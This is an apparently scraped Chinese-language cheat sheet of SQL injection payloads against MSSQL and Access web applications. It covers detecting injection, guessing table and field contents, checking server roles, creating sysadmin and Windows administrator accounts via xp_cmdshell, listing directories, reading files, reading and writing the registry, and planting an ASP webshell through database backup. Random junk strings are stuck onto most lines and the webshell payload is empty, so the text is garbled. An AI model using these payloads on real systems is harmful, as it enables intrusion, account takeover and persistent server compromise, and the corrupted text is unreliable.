1.判断是否有注入;and 1=1 ;and 1=2 DRXUQH
2.初步判断是否是mssql ;and user>0 TlX:05/V8
]VtP7Y
3.注入参数是字符'and [查询条件] and ''=' KbK!4
(I>S qM
Y
4.搜索时没过滤参数的'and [查询条件] and '%25'=' I|c?*~7*
0R(['s:3`
5.判断数据库系统 }XpZgd$
,+gtr.
;and (select count(*) from sysobjects)>0 mssql aYHs35
}S13]Kk?=
;and (select count(*) from msysobjects)>0 access 1Ak0A6E
een62-`
VAyAXN~
~YviXSW
6.猜数据库 ;and (select Count(*) from [数据库名])>0 4 EA$<n(A-
7*Zm{r@u
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ,lFzL3'_0x
v{*2F
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |Dq?<Ha
Ju;^^
9.(1)猜字段的ascii值(access) d& v 7l
J<Ki;_=I
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Zc&pJP+M'U
|gINB3L
(2)猜字段的ascii值(mssql) qxZf!NX5
P# 8lO%;
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8+(wAbp
,,#6SR(n
10.测试权限结构(mssql) 78?{;iNv
a8k`Wog
{c drMP@""
9]tW; ?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- M.)z;[3O
G2@'S&2@s
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]<q!pE;t
P$^I\aGO
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `(O#$n
$,I@c"m{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- JlEfUg#*
;4v`FC>
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- R /_vJHI
$!z .[GL
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P(C5@x(Z
A4;~+L :M
;and 1=(select IS_MEMBER('db_owner'));-- )2Y]A^ Y
A
L|,\s
NPa4I7`A
U56g|V
11.添加mssql和系统的帐户 Eb29tq
"l#"c{ee{
;exec master.dbo.sp_addlogin username;-- ^hT2ed +
;exec master.dbo.sp_password null,username,password;-- rploQF~OFF
S'@Ok=FSy
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- MBQ|*}+;
Uz]=`F8
;exec master.dbo.xp_cmdshell 'net user username password l6IT o@&J
{ W5
_KX
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- R7FI{A
hW;n^\lF#e
;exec master.dbo.xp_cmdshell 'net user username password /add';-- M$6;&T
B LZ<"npn
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- >29c[O"[
vn@sPT
/&c>*4)
X]GodqL\
12.(1)遍历目录 i.-2
w6
CWd
&
;create table dirs(paths varchar(100), id int) Z
6][9o
Q!7mN?l
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2)
2:KX
,t'"3<^Jg
;and (select top 1 paths from dirs)>0 x{rjngp2
V%zo[A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0B~x8f
C}9|e?R[Rz
N7X(gh2h
,hT**(W
(2)遍历目录 ;2sP3!*
KWi|7z(L=
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % S>6Q^B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 C 8d9(u
)$*B
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 vP%:\u:{
#9qX:*>h
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 z>
N73 u
2Z`Jr/
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
"tA.`*
Pt6d5EIG
_,p/2m-Pj
3rLc\rK
13.mssql中的存储过程 W(.svJUgb.
dLR[<@E
xp_regenumvalues 注册表根键, 子键 FL0yRF5
rK'O 85)eU
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ("<4Ry.u
Fa #5a'}I
xp_regread 根键,子键,键值名 $lUz!mjG
#wh[F"zX
;exec xp_regread a5w E{K
kpQN>XV#
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 OE}c$!@
,wyEo>>4)
xp_regwrite 根键,子键, 值名, 值类型, 值 r -uu`=,
D<*)^^
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Q7mikg=1-
ZA'0q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 -KqMSf&9
hN!{/Gc|
xp_regdeletevalue 根键,子键,值名 ^j1G08W
Gxt6]+r
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !4YmaijeN
0]GenT"
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 <jLL2-5r0
/<o?T{z<-
FJW,G20L
i&)OJy
14.mssql的backup创建webshell T~?&hZ>
m*KI'~#$%
use model 1ZvXRJ)%
%F:; A
create table cmd(str image); gf/<sH2}
fA ),^
insert into cmd(str) values (''); /\E3p6\*
A
"'h0D
backup database model to disk='c:\l.asp'; 1IK*j+%
F 9q!Upr_+
~P*{%= a
Ve40H6Ox
15.mssql内置函数 H*",'`|-
W4nhPH(
;and (select @@version)>0 获得Windows的版本号 ;g<y{o"Q3p
~O3VX75f
;and user_name()='dbo' 判断当前系统的连接用户是不是sa SkU9iW(k
(/i|3 P
;and (select user_name())>0 爆当前系统的连接用户 UcB2Aauji
e
:@PI(P!
;and (select db_name())>0 得到当前连接的数据库 YH{n
?rdWhF]
%+C6#cj
pM*(
kN
16.简洁的webshell iN5[x{^t
>#Bu [nD%
use model ?MvL}o\|
`?"r\Qo<
create table cmd(str image); Lu4>C 2{
$3eoZ1q'U-
insert into cmd(str) values (''); VpED9l]y
[-R[rF
backup database model to disk='g:\wwwtest\l.asp';